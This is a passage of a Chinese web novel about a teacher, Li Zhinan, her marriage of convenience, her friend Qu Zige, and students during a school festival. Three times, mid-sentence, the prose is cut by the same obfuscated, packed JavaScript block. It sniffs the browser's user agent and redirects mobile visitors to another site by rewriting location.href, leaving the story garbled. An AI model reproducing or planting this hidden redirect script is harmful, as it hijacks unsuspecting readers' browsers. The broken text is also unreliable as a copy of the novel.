“我把你当朋友,所以对你不保留。”李知难将餐盘中的红烧鸡块夹给她,“我看你很喜欢吃这个?给,好处费,收了我的好处,就要保守我的秘密。” 曲子格是个讲义气的人,她是在那一刻认定了李知难,余生都要她这个朋友。 李北辰道:“那时候我已经毕业了,出事是纪修告诉我的,就是她弟弟。我其实很羡慕那波学生,他们是李老师第一次做班主任带的班级,所以她对班里每一个学生都尽心尽力。纪修说,那年李老师连周末都不肯休,恨不能学习上,生活上面面俱到,把自己当成四十多个高中生的妈。她班里有一个女生,成绩优秀,一直是第一名, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14459864|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后,就是这个女孩举报了李老师,因为李老师给排名第二的同学补课,在期末考试成绩中超过了她。” “就因为这个?”曲子格觉得莫名其妙。 “嗯,那时候每个普通班能升到实验班的名额只有一个,她觉得是李老师害了她。当初李老师说过自己考大学的事,用来激励她的,结果就被她拿来报复李老师。”李北辰回道,“她也不觉得自己做错什么,她认为老师应该一视同仁,如果因为额外优待了A学生导致B学生失去机会,那本来就是老师的责任。” 李北辰那年专程飞回北京,和纪修一起找到女孩家门口,他好求歹求,让她开条件提要求,就差把嘴皮子磨破,可女孩没有一点松口的意思。 “你们如果再这样,我就去报警了。”面对这一黑一白两种脸色,女孩也没有退怯。 “你他妈图什么!”纪修攥着拳头,看着眼前的女孩咬牙问道。 “教育是资源,老师也是资源,既然不能够做到公平分配,那就不要把自己当做上帝玩这种干涉别人命运的游戏,”那个女孩看起来并不害怕,她甚至毫无愧疚,“李老师不过是因为知道期末题目的难点重点,才侥幸让她超过了我,等到高考的时候,她的缺陷照样会暴露,不行的人就是不行。” 纪修是知道的,作为当初参加过数学竞赛的学生,他明白努力和天赋在高考前所占的比例。 “姐,你何必呢?”纪修替她不公。 “不一样的,”李知难回道,“我不后悔,数学和英语不一样,理科是要天分的,很多时候天分不足的确会影响分数,后期怎么努力也没办法赶上去。可是英语不一样,英语是最不需要天赋的学科,只要努力,谁都能取得好成绩。她之所以有优势,是因为她父母替她努力了,给了她能够见识世界的机会,我只是想给其他同学同样的机会而已。” 李北辰在纪修的卧室里听着他们的对话,最终没有和她见面。 “你都回来了,干嘛不让她知道?”曲子格不解。 李北辰轻笑摇头,道:“我是怕被她看到我的无能。” 因为他什么也做不了。时隔三年,他离开了高中校园,已经是成年人。大学生活的轻松得意让他有了能够掌控命运的错觉。但压制他的,从来都不是年龄。三年前,他无能为力,三年后,他仍旧什么也做不了。能躲在屋里,已经是他庆幸的体面。 “总之,出事之后,学校的态度很明确,他们找了两个老师去做背景调查。李老师现在的丈夫,当时利用他父亲的关系帮李老师改了档案。再之后,李老师就跟他结婚了。”李北辰回道。 曲子格不由感叹道:“难怪知难说她选宋乐,不是因为爱情,而是因为他是个好人。” 曲子格没意识到自己说漏了嘴。 “他真的能算是好人吗?”李北辰像是自言自语般反问。 曲子格下意识回道:“谁说不是呢,出轨的都是他妈王八蛋,哪有好人!” 这回她总算是反应过来自己嘴漏了,才想含含糊糊辩解,却见对面的李北辰看起来表情平淡,似乎对这些事情并不感兴趣。 “呃……”她有些尴尬地想圆场,但词汇量着实有限,不知道怎么圆回来。 李北辰温声道:“曲老师,我跟您讲这两个故事来回答您的问题,您不是问我,以前的她是什么样的吗?以前的她是一个很灿烂的人,无论是外表还是内心,都很灿烂。” 车内,李北辰看着沉默的李知难,道:“这就是我想说的一切了,李老师,曲老师很关心您,我希望您不会介意我告诉她这些事情。” “我介意有用吗?”李知难反问。 “也许她能够帮助到您。”李北辰解释着自己的意图,他知道李知难也许没有意识到,也许只是不想承认,可是她陷在泥潭里,已经陷了很多年。 而李知难当下觉得,她的过去,现在,被平铺在自己曾经的学生面前,老师这个词汇,又再一次彻底失去了它本应维持的底线。 他的眼里满是温柔,是关怀,是慈悲。 可她只觉得讽刺。 “李北辰,我不需要任何人的帮助,”李知难平和地看着他的眼睛,认真道:“这是我最后一次警告你,请你以后离我远一点。” 24. 宋乐和李知难 周三一早,穆婷婷在校园门口被廖蒙拦了下来。 她像是在请求,又像是警告:“秦梓轩的事情,我希望你别告诉任何人。” 穆婷婷仰着头,用眼角带着不屑和敌意看着她。 “算我求你。”廖蒙低头,只在提起秦梓轩时才带着不情愿的示弱:“他那个人自尊心强,被人知道会受不了的。” “哦。”穆婷婷故意绕过她,像是什么都没发生过一样。 廖蒙拉住了穆婷婷的胳膊,质问道:“你什么意思?” “我没有什么意思。”穆婷婷推开了她的手,“他自己是没长嘴吗?还需要你来传话?” “他不知道我来找你了。”廖蒙答。 穆婷婷冷哼一声:“那就更可笑了,他的事,他自己不来找我,要你来说什么?” “我是他女朋友。”廖蒙说得理所当然。 这三个字,让一贯如同公主般骄傲的穆婷婷表情堂皇,她的情绪铺满了整张脸,任谁都不难看出。 “穆婷婷,”廖蒙冷声道,“得不到的就毁掉,这就是你喜欢一个人的态度吗?” “谁喜欢他了?”穆婷婷嘴硬不承认。 “你自己心里清楚,随你便,如果你希望他恨你,那你爱告诉谁告诉谁。”廖蒙说罢,快步向教学楼走去。 教学楼内,李知难也将曲子格拦在了办公室里。看着眼前臊眉搭眼的曲子格,她表情有些无奈,软声问道:“我的事,就不能直接问我吗?” “我……”曲子格解释,“我想不通你为什么会这样,我当时只是想要一个合理的解释。” “所以呢,问完了我以前的学生之后,你得到你想要的解释了吗?”李知难问。 曲子格点头:“你并不爱宋乐,你和他结婚只是为了保住工作。” 李知难摇了摇头:“曲子格,我从一开始就没有骗过你,我和他结婚,因为他是一个好人。” “对,他帮你解决了学历的事情,他当然是个好人,所以你就以身相许,虽然我理解不了,但是这就是你的婚姻观。”曲子格道。 “我嫁给他不是为了以身相许,也不是报恩。”李知难道,“我说了无数遍了,是因为他是一个好人。” 曲子格抬头看她,眼里的不解包含着心疼,李知难在一旁坐了下来:“我一会儿没课,你呢,有时间吗?” 曲子格点头。 当年,宋乐是亲戚介绍来的相亲对象,他帮助李知难解决这件事的时候,李知难已经明确地告诉过他,她觉得两个人不太合适。 宋乐是土生土长的北京孩子,身上带着天然浑不吝的不客气自来熟,并不是她喜欢的类型。 宋乐无所谓道:“我也不是帮你,我算是帮咱们祖国的花朵留下一位负责任的好老师,你也不用觉得有心理压力。” 餐厅内,李知难将礼盒拎了出来,道:“这些东西是送给你和你父亲的,谢谢你们帮忙。” 宋乐被她逗笑了,答:“我是公务员,你给我送礼那不是害我吗?你要是真的想谢我,一会儿我哥们聚餐,你能不能帮我撑撑面子?” 李知难陪着宋乐参加了聚会。 和她想象中不一样,聚会的地点不是什么高大上的餐厅会所,而是胡同里那种蹲在马扎上吃小桌板的小脏摊,宋乐和他的几个发小看起来毫不介意,开怀地聊着不着四六的天儿。 北京孩子的聊天内容很奇怪,明明什么都没有,可又天罗地网无所不含,夹杂着令人发笑的插科打诨,气氛好得有些诡异。 饭后,李知难抢着结账,又被宋乐拉到一边教育了一顿。“没有让姑娘出钱的道理。你这么着不如直接扇我嘴巴。” 李知难问他,为什么要选择那样的一个地方,宋乐说,那家老板是个低保户,他们经常去照顾。 后来,李知难的爸爸摔断了腿,宋乐先他一步到了医院照顾打点。 没两天,就连医院里的小护士都对这个男人青睐有加。他说话办事周到体贴,却不是高高在上体面周全的那一套,他来的时候给人带俩苹果,搬搬快递,甚至有一天拎了两套煎饼果子,他聊小张护士淘气的儿子,给刘护士长带同仁堂的膏药,他幽默开朗有分寸,很快就让李知难爸爸成了那一楼最受优待的病人。 李知难几次推拒,都在他那里碰了软钉子,后来她认真地找他解释,无论你做什么,咱们俩是没可能的。 宋乐只憨憨回:“明白,我自己个儿几斤几两我还心里没数吗?我要是真惦记你,那不是抢着给自己报名当癞蛤蟆吗?我傻啊?” 李知难不明白他为什么要这样。 宋乐回道:“相逢是缘,何况我是党员,你们人民群众不懂我们的思想觉悟,我不怪你,啊。” 他没事人一样该做什么做什么,像是李知难是组织分配给他的政治任务。 有一天,北京晚报上刊登了一则故事,党员为保护民众和劫匪拼命进了ICU,李知难联系了几天都没联系到宋乐,最后有些着了急。几天后,他一脸黑地回来,说是去农村志愿服务去了。 “你不会是担心我吧?”宋乐和她开着玩笑。 李知难倒是难得地被人用这样有些暧昧的话开玩笑,却心里没有生出反感。 也就半年光景,当李知难厌倦了周围人没完没了介绍的相亲对象,她问宋乐:“你想跟我结婚吗?” 宋乐回:“想啊。” “但是我……” “我知道,我不是你喜欢的类型,可是我觉得婚姻就跟革命一样,只要目的地是相同的,其他的都不重要。” “你的目的地是哪里?” “为人民服务啊。”宋乐笑着,像是玩笑一样。 “你还是好好想想吧,我怕对你不公平。坦白讲,我年纪在这里,结婚对我来说不过是完成任务,是为了以后工作方便,家人放心,传宗接代,反正都是现实因素,我不太相信感情那一套。”李知难解释道。 “那赶巧了,咱俩正合适。”宋乐答,“我也不想找那种爱来爱去腻腻歪歪作天作地的媳妇,老百姓过日子,平平淡淡做个伴,多好啊。” 他们去登记处领 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14464270|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了证,连婚礼也没办,宋乐将收到的礼金以他们的名字捐了出去,这场婚姻就这样开始了。两个目的相同的人,满足对方家长对孩子择偶的期待,一位老师和一位公务员,开展也许为期一生的合作。 曲子格试探问道:“知难,哪怕没有感情,可他出轨了,你怎么能接受呢?” 李知难回道:“我其实还没有和他谈这件事情。” 曲子格:“你不生气吗?” 李知难摇头:“说实话,我有些松了一口气。” “为什么?” “可能潜意识里,我也知道他当年的说法未必是真的,但是我懒得再折腾了,所以就顺水推舟地当作真的了。”李知难答道。 “知难,”曲子格道,“你被伤害过吗?” 李知难被这个问题问得一个激灵。 曲子格道:“我就是觉得没有人会天生不想要爱情的,这事不合理啊。” 李知难笑道:“天底下那么多和尚尼姑,有什么不合理的呢?” “人家那是看破红尘,你这红尘还没进去呢!” 李知难低头道:“那你不如把我当成残疾,这种性格可能是一种残疾,这样想,会不会好接受一点?” 曲子格道:“好,就算你不在乎爱情。但是我们是社会主义,我们的婚姻是一夫一妻制,这你总要接受吧?” 李知难道:“我知道。” “然后呢?” “婚姻不是谈恋爱,我们之间还有皮皮,我要考虑的不只是我自己,况且我们双方父母年纪也都大了,承受能力差,这种事情传出去,对大家的名声都不好,我是想着多一事不如少一事。”李知难解释,“觉得没有必要闹得那么难堪。” “你为什么要想这些?”曲子格听得一脸离谱,“做错事的是宋乐,不是你,知难,你没有做错任何事情,这些是他应该考虑的,不是你。” “如果他真的喜欢那个女孩,他是不会考虑这些事情的。”李知难道。 “那就活该他承受这些后果!” “可是我也需要承受这些后果。”李知难回。 曲子格皱眉道:“你知道我现在什么感觉吗?我觉得我好像是在劝一个被家暴的妇女离婚一样,你懂吗?李知难,你现在就是在被宋乐家暴,出轨就是精神暴力,你被人打了都不反抗吗?” “那也要觉得疼才会反抗,我并不觉得疼。” 曲子格拍着桌子站了起来:“不疼,行,不疼,那你就不嫌脏吗?跟别的女的共用一个男人!” 李知难看着她,面露尴尬,半晌后才如实回道:“我们,不睡在一间屋子里。” “什么?” “生完皮皮之后,我们就没再睡在一起过了。”李知难道。 曲子格在脑子里飞快地算了算,眼睛瞪得更大了些:“你是说,你和宋乐,五年多没有……?” “对。” “不是,你们这搭伙过日子,还真纯粹地搭伙过日子啊?”曲子格头一次见识到,原来在婚姻的世界里,还存在着这样的关系。 25. 做你的港湾 “对不起知难。”曲子格抱住了她。 李知难不知道她的抱歉究竟是因为她去问了李北辰那些问题,还是因为她知道了自己的私生活。她拍了拍曲子格的后背,像是安抚。 “我知道我们性格差异很大,你喜欢什么事都自己扛,但是我想做你的……”曲子格思索不出合适的词,脑海中品偏偏浮现了莫名其妙又完美切合的一个:“港湾。” 李知难笑道:“我看起来是什么漂泊无依的人吗?” “你是块咬在悬崖上雷打不动的大石头。”曲子格答。 “石头和港湾,曲老师的语文有待提高啊。”李知难打趣。 “对,石头和港湾,”曲子格重复道,“朋友就是这样的,两个毫无关联的人,看起天差地别,好像连出现在同一个画面里都不协调,但是会永远搀扶着,相伴终生。” 李知难被她话中的笃定敲击着心脏。 “你想一想,我们没有亲人之间与生俱来的血缘羁绊,也没有爱人能被法律赋予第一亲属的身份,我们之间不是唯一的,不是必然的,不是理所应当的。你是我的选择,从第一天开始,每一天都会做出的同样的选择。我选择了你。”曲子格认真道,“父母孩子会陪你一段,爱人也会陪你一段,但是我,李知难,我会陪你全程的。等你老了,也得跟我在养老院里打麻将织围脖。” 李知难眼睛有些酸,又不想被她看到这样的自己,故意回道:“我们就不能有点别的爱好吗?” “你想斗地主钩手套也不是不可以。”曲子格一脸“看我为了你做了多少退让”的表情。 李知难攥紧了她的手。 曲子格整理了下情绪,突然想到:“对了,还有另外一件事忘了告诉你。我打算和吴思齐试试。” “你要和他结婚?”李知难没有意识到,自己现在的表情及语气,都和当时质问她怎么不离婚的曲子格如出一辙。 曲子格回道:“昨天你走了之后,出了些事情。” 操场上的混乱结束后,曲子格回到办公室按照李知难的交代联系秦梓轩妈妈,她短信才发出去,孙书维着急忙慌地走了进来。 “现在什么情况?”孙书维询问。 曲子格还生着她的气,将事情经过交代后,假意忙手机上的信息不再理她。 “你把手机放下。”孙书维命令道。 曲子格不悦地抬起眼:“孙老师,你态度客气一点。” 孙书维皱眉道:“在你管辖的时间,学生出了这种事情,我看你还挺无所谓的?” “我现在正在联系他的家长。”曲子格挥了挥手机,“还是你孙老师觉得,眼下我应该先满足你的官威,孩子家长那边着不着急都是次要的?” “曲子格,你知不知道这件事处理不好,你和李知难都要连坐的?” “和知难有什么关系?”曲子格道,“你有意见就冲我来,别跟我上纲上线地整这一套。” 孙书维立正,道:“上纲上线是吧?好,我问问你,今天的训练是按照教学规范来的吗?学生在课前有没有进行充分的准备工作?出事的时候你在哪?你对这件事的紧急预案是怎么处理的?” 她几个问题问过来,曲子格脑子一片蒙,本来就是为了红五月篮球比赛的加训,她哪来的什么教学规范,又需要做什么准备工作,最主要的是,出事的时候她在办公室,并不在操场上。至于处理方式,学生跑来找她,她叫学生去找李知难,自己去了医务室。 当时并没觉得有什么问题,事后再回想,似乎能被挑出毛病的地方还不少。 她有些理亏,这情绪也如实地写在了她脸上。 “你最好盼着秦梓轩没事,如果他真有什么意外,我看你也不用干了。”孙书维又说道。 曲子格被她这样劈头盖脸地指责,面子挂不住可又拿不出道理反驳,整个人脸涨得通红。 “孙老师,您这么说也有点过分了吧?”吴思齐不知道从哪儿冒出来的。 曲子格想上前制止他,一个刚入职的老师和教导处的主任这么说话,她怕自己还没丢工作,吴思齐就先被穿小鞋挤兑走。 “我认为曲老师没什么错,学生的身体问题,她又不是神仙她怎么预测得到?”吴思齐将她拦在了身后,“您现在着急有情绪可以理解,可曲老师是无辜的,您何必把气往她身上撒呢?” 孙书维看着眼前的二人,眉头紧紧地皱到了一起,整个脸都带着山雨欲来的紧绷。 曲子格想起上次看她副表情,对面的学生一周后就被劝退了。她心里组织着语言,想说些软话调节。却听孙书维开口道:“曲老师,今天的事情写一份材料,明天早上送到我办公室。” 她留下文件夹转身走了。 曲子格松了一口大气。 “咱们学校没人敢这么跟孙书维说话,你破天荒头一个。”曲子格叹道,“你也不怕这个月奖金被扣干净?” 吴思齐有些担心地询问道:“你没事吧?” “我没事啊。” 他拍了拍曲子格肩膀:“你没事就好,学生的事情别着急,先照顾好自己。” 李知难看着对面的曲子格,知道单单吴思齐这句话,对她的杀伤力不亚于梁山伯坟前自杀,杰克把木板留给露丝,韩剧男主角为了盲人女主角开车撞墙捐献眼角膜。 曲子格手托着腮,道:“爱情是需要些冲动的,对吧?” 李知难点了点头,“但是婚姻需要理智。” “我愿意相信他。”曲子格道,“人活在世,总要有几次用心不用脑的决定。感情这种事,就算是大脑再聪明的人,也未必能得出正解,我本来就不聪明,我想相信自己的心。” “……”李知难虽不赞同,但也不想在这种时候扫她的兴。 “知难,上次我这样盲目,我的心帮我选了你,所以我愿意再相信一次。” 李知难上前搂住了她,“好,我也可以做你的港湾。” 人生的选择,时时刻刻地发生着。晚饭吃米饭还是面条,饮料买果汁还是可乐,选择坐公交还是地铁,一个个因,在一个个的选择后成为一个个果。大部分选择都是无关紧要的,更谈不上对错,于是人盲目地认为,也许选择这件事本身就无关对错。上天最喜欢在意想不到的时候开玩笑,众多因中毫不起眼的那一个,在未来的某 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14472006|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时某日,会成为一颗子弹,以最残忍地方式提醒你,当初做了错误的选择。 廖蒙在办公室门口:“李老师。” 李知难示意她进来。 她将秦梓轩的假条放在了办公室。 李知难看了一眼,继续忙手上的行政表,“知道了。” 廖蒙并没有走,小声问道:“李老师,那个纸条您看了,对吗?” 李知难几乎忘了被自己放在抽屉最深处的纸条,她仍旧没抬头,道:“我答应你不会看,就不会看。” “那您之前的提议还有效吗?”廖蒙问。 “我说话算话。”她答。 廖蒙离开办公室,看着里面从始至终都没把她当成大事的李知难,不由地心生愤怒。对于她来说,那个纸条像是一枚可以炸毁她人生的炸弹,她小心谨慎,左右周旋,以求保护自己的平安。可是那个掌控着炸弹引线的人,安安稳稳地坐在那里,连头都不抬,就轻松地控制了她的生杀大权。 凭什么?就因为她是老师么? 她这样想着,不小心撞到了对面的楚老师。也许是怕被人解读出当下的情绪,撞完人后的她道歉的话也没说,转头就跑掉了。 楚老师边埋怨边走进了办公室:“李老师,刚才那个是你们班的吗?什么毛病?冒冒失失的。” 李知难这份行政表格规定今天内必须完成,一上午都在和曲子格掏心掏肺的她浪费了宝贵的时间,距离截止还有一个多小时,她还有两三页没有完成,只得打着哈哈没有回应。 “还有,你们班秦梓轩什么情况?”楚老师继续问道。 “没事了,医生让在家休息两天,下礼拜就能正常上课了。”李知难眼睛盯着表格,嘴上自动回复。 “不是,我是说他家里什么情况。”楚老师问道。 “您什么意思?”李知难总算抬起了眼睛。 “他家是低保户啊,李老师您不知道吗?”楚老师颇为意外。 李知难:“您,从哪听说的?” “我们班学生说的,”楚老师指了指外面熙熙攘攘地学生们,道:“他们都说这事呢。” 李知难恍惚看到眼前的表格,像是时空扭曲般在她眼前变了模样。 “我还以为是有钱人家的少爷呢,看起来那么拽,七个不服八个不忿的,真没想到。”楚老师感叹道,“对了,都忘了正事了,走吧,李老师,咱们去开个会,音乐剧的事。” 李知难回道:“楚老师对不起,我正想跟您说呢,音乐剧我想我还是别参与了。我们班成绩您也看到了,最近又出了很多事情,我想专心搞一搞我们班的事情。” “那不行啊,咱们……” 另一侧八班班主任石老师突然开口道:“我替李老师吧,李老师最近挺忙的,我最近正好没什么事。” 楚老师还想再说,只见石老师那边给她使了使眼色。 “什么意思啊?”出了办公室,楚老师不解道,“她不会是因为这是义务劳动,就不愿意了吧?” 石老师小声道:“您想多了,我跟您说啊,李老师家里……” 二人小声谈论着,越走越远。 26. 五月的开始与结束 红五月终于拉开了帷幕,几个学校组织了各种各样的文艺汇演,篮球比赛定在周三,舞台剧献礼演出定在周四。但是从周一开始,李知难就感受到了红五月带来的影响:这帮孩子没有一个有心学习的,全都把脑子放在了如何凑热闹上。 周三上午,穿着不同校服的孩子们在篮球场上认真地挥洒汗水,围观的学生众多,加油声此起彼伏。 “你怎么有空找我?”办公室内改教案的李知难意外地看到了曲子格,“外面不是比赛呢么?” “半决赛出线了,明天跟A中争总决赛冠军。”曲子格得意道,“我本来以为失去了秦梓轩,这回危险了,没想到邵冲可以啊,平时吊儿郎当的,关键时刻抗压性非常好,越比状态越好。” “还不谢谢我。”李知难挑眉道。 “多谢李老师慧眼识珠!”曲子格抱了抱拳,“我这边算是告一段落了,能歇会了。” 李知难指了指自己的教案,道:“革命尚未成功,本同志仍需努力。” “那你什么时候能取得胜利呢?”曲子格在一旁的椅子上大剌剌地坐了下来。 李知难想了想,“小考小胜,大考大胜,要是想结束革命,就只有到高考了。” 曲子格耳朵里听不得“高考”这两个字,摇头晃脑道:“好家伙,那你的革命之路确实艰辛。” 李知难笑道:“且没有尽头。这届送走了还有下届,老驴拉磨,一圈接一圈。” 曲子格看着外面阳光灿烂的高中生们,不禁感慨:“哎,我们就是在这一届又一届的接替里,慢慢变老的。” 李知难也同样感叹:“是啊。” “所以珍惜当下,明天音乐剧给我留个座位,我们一起欣赏祖国花朵的绽放。”曲子格话锋一转交代道,“可谓有花堪折直须折,莫待……”她顿了顿,道,“在咱们这儿,没有没花的时候。谁叫咱们这儿是花园呢!” 周四早十点,礼堂里座无虚席。教育局的领导,各个学校的老师、学生们,都在台下等着今年最盛大的演出——红五月献礼表演。 相比前面的人头攒头,台后更是一片杂乱,李知难和曲子格快认不出这里了,满地的箱子纸盒,服装道具,只靠几条透明胶带和白纸规划暂时的候场范围。她们按照指示牌左拐右拐地,找了好一会儿才到音乐剧的候场处。 奚西见她二人,意外道:“你们怎么在这儿?” “我们的传统,”李知难将手里的花送了过去,“这是你的第一个胜利果实,祝贺你。” 曲子格补充道:“当年我带队去参加田径比赛,也是知难给我送的花。” “可我还没取得名次呢……”奚西有些受之有愧。 “那些是后话,到现在为止,你作为老师的耕耘就结束了,无论结果如何,你都尽了最大的努力,所以,辛苦你了,奚西老师。你做得很棒。”李知难把花塞到了她怀里。 奚西听着这话,眼角有些泛红。就连她自己,也忘记了这不仅是孩子们的付出,也是她的心血。 她被自己突如其来的情绪搞得有些不好意思,只道:“也不是我自己的功劳,还有我师哥……” “对啊,李北辰呢?”曲子格左右找他。 “他公司有事,今天来不了了。”奚西面露遗憾。 “临门一脚了他跑了,这事弄的。”曲子格摇了摇头。 突然,穿着戏服的穆婷婷跑了过来:“老师,王子然找不着了。” “什么情况?”奚西肾上腺素都快飙到顶,“什么叫找不着了?” 穆婷婷把手机递了过去,道:“他给我发信息,说他演不了了。” “为什么?”奚西对着手机,像是能透过那个小机器问到对面男生的耳朵里。 李知难看了看表,拉住了奚西的胳膊,道:“先别管这些,你的B角呢?还有五分钟,赶紧换人。” “秦梓轩,秦梓轩呢?”奚西在后台边跑边劲吼道,“把秦梓轩给我带过来!” “B角是秦梓轩?”李知难被吓了一跳,她小声问穆婷婷:“他不是不肯演吗?” 穆婷婷显然情绪有些波动,只答不知道就跑去了一边。 留下李知难和曲子格面面相觑。 “什么情况?”李知难不解。 曲子格:“自从那事,你以为秦梓轩还是以前那个校草呢?给他机会就不错了。” “啊?”李知难不知道怎么秦梓轩还从王子变成青蛙了。 “就那个低保那个事,”曲子格提醒道,“除了他那个小女朋友廖蒙,谁还愿意跟他一块儿玩。” “……”李知难最近都在忙教学任务,丝毫没有注意到不过短短几个礼拜,秦梓轩的世界已经天翻地覆了。 “不过我换他和这事没关系啊,医生那边说的,要他注意脑震荡,我可不是看人下菜碟,”曲子格急忙解释,“是看人,但是不是看人的家庭条件,是看人的身体条件。” 李知难看着乱作一团的后台,拉了拉她的胳膊:“走吧,我们去座位上坐吧。” 音乐剧表演结束,台下掌声雷动。主演和老师一起,手拉手鞠躬致谢。 “穆婷婷。”舞台上,秦梓轩拉着她的手,小声道,“谢谢你。” 穆婷婷没有回答,只待谢幕结束后便立刻松开了他的手,向着后台跑去。 “穆婷婷。”秦梓轩追了上来。 她有些顾虑地将他拉到一旁隐秘的角落,没好气地说道:“你这是干什么,不怕你女朋友看到了?” 秦梓轩低声回道:“我只是想说谢谢你。” “谢我什么?” “谢谢你说服我做B角。” “跟我没关系,奚西老师选的你,我不过是传个话。”穆婷婷回道。 “但是如果不是你跟我说,我可能不会……” 穆婷婷打断了他,道:“我说了,跟我没关系。” “不光是这件事,”秦梓轩又道:“还有,谢谢你爸爸之前对我的赞助。” 穆婷婷脸色愈发难看:“这件事你更没什么好谢我的,我之前不知道我爸爸做了什么,以后你也不需要我爸爸再做什么了,所以以前的事,你谢我没有意义,以后的事,你谢我没有理由。” “好。”秦梓轩点了点头。 “婷婷?”苗苗在外面喊着她的名字,穆婷婷将秦梓轩推开,朝着苗苗的方向跑过去,两个人兴奋地拥抱,苗苗夸张地赞美着穆婷婷方才的表演,全然没注意到她眼底的若有所思。 秦梓轩再次低下头,回到另一侧的候场区准备卸妆。 “秦梓轩。”有人从背后拍了拍他的肩膀。 秦梓轩满是期许地转过身,看到眼前的廖蒙和她手里的花,眼神无意识地暗淡下去。 廖蒙先是一怔,但立刻反应过来,他期待的人不是自己,自己和这束加急订购的花,都是笑话。愤怒和羞恼让她顾不得其他,狠狠地将花砸在了他怀中。 看着廖蒙跑开的背影,秦梓轩无名火突起,他将戏服一股脑地扯下,几颗不大结实的扣子瞬间崩落,哒哒哒地洒了一地。 宣泄情绪在失控时总有些不计后果,但是他并不是能不计后果的人。几个呼吸的功夫,秦梓轩蹲下了身,将地下的扣子一粒一粒捡起,小心放回口袋,左右看着周围思索办法如何缝回去。 不远处其他班级的桌子上有针线盒,秦梓轩借了过来,坐在一边认真地缝扣子。 “你还会这个呢?”同台演出的男生凑了过来,表情像是看到了什么不伦不类的东西。 秦梓轩没回答。 另一侧女同学扯了扯男生的胳膊:“你忙你自己的去。” “看不出来啊,还有这种手艺,下回我衣服要是破了,也找你给我缝啊小裁缝!”男生开着玩笑。 秦梓轩捏着针的手却越发抖起来。 女生急忙将男生推到他处,又暖声安慰道:“他不是那个意思啊秦梓轩,你别多想,他开玩笑呢。” 人离开了,秦梓轩的心里却更加复杂。 这样暗暗戳戳的嘲讽在这段日子已经成了家常便饭。他甚至不知道男生的嘲讽和女生的安慰,到底哪个更伤自尊,或者其实这些都没有什么,真正的罪魁祸首是他自己与生俱来的处境——贫穷。 廖蒙此时再次回来,她上前三两下将秦梓轩的衣服扔到地上,压制着怒气问道:“你刚才去找穆婷婷了?” “……” “你去找穆婷婷了对吗?”廖蒙又问了一遍。 “……” “怎么,忍不住了是吗?终于肯承认她才是……” 秦梓轩打断了她的话:“廖蒙!” “所以归根结底我这个幌子就是用来气她的?”廖蒙将心底的猜测道了出来,“你不接受她爸爸的赞助,到底是因为不想和她有关联,还是因为不想自己配不上她?” 秦梓轩低声道:“有什么事我们回头再说,好么?” 廖蒙被他的态度激怒:“好啊,现在她知道真相了,你能够和她坦诚相处了,我这个幌子就没用了,你就想扔掉我了,对吗?” “你在说什么?”秦梓轩一脸无奈。 “我在说你从始至终喜欢的人都是她!你之前要我帮你的话都是骗人的!”廖蒙愤怒地喊道,引起了周围人好奇地观望。 在礼堂外的苗苗唯恐天下不乱地看着这剧情,远远道:“他们俩吵啥呢?哼,吵啥都活该。” “苗苗,你少说两句吧。”穆婷婷将手里的冰棍儿递到她嘴里。 “本来就是,搞笑呢!”苗苗翻了个白眼,“把自己当原配?还舔着脸过来让你离秦梓轩远一点,让你别把舞台剧当真,什么玩意啊!就得让她知道,是秦梓轩那个贱男非要往你面前凑,一对儿贱人把对方当成宝贝了,还以为别人也会这样,别搞笑了。” 穆婷婷看着那边的争执,道:“走吧,人家的事情和咱们没关系。” 献礼演出还没有结束,舞台上的表演仍然进行,纵使是男女生之间爆发的激烈争执,也不过是侧头一幕的注意,演出在继续,后台的混乱也仍在继续。红五月一直是这样,在夏天的伊始,一切都要红红火火地进行着。 “下午跟我一起去看篮球比赛?”午饭时,李知难邀请道。 “好。”奚西有些心不在焉。 “怎么,刚结束了表演,有些失落?”李知难看她情绪不对。 “不是的,”奚西调整了情绪,“这种演出我大学的时候经常参加,那时候我还是主演呢,我哪有那么脆弱。” “当老师和当主演还是不同的,”李知难道,“我们只能在幕后,就算是再想帮助他们,最后一步仍然需要他们自己走,这种局限何尝不是一种成就呢,我们放手,他们才能有更广阔的人生。因为人生的路不就这样吗?一代传一代,看着他们走得更好更远,纵使知道他们的未来和我们无关,但却仍与有荣焉。” 下午篮球决赛场面十分壮观,两侧学生都打出横幅和标语,高呼着为自己的学校鼓劲加油,那年轻的声音放佛能震得大地都抖三抖。 李知难看奚西仍旧是那副表情,道:“你到底怎么了?” 她知道阶段性胜利后会有一定的失落时间,但是奚西的失落也未免太夸张了点。她像是把自己的魂儿都失没了。 奚西缓缓开口道:“知难,我犯了个错误。” “怎么了?” “陈亦童帮我修好音响那天,我和他睡了。” 李知难眼睛瞪得浑圆。 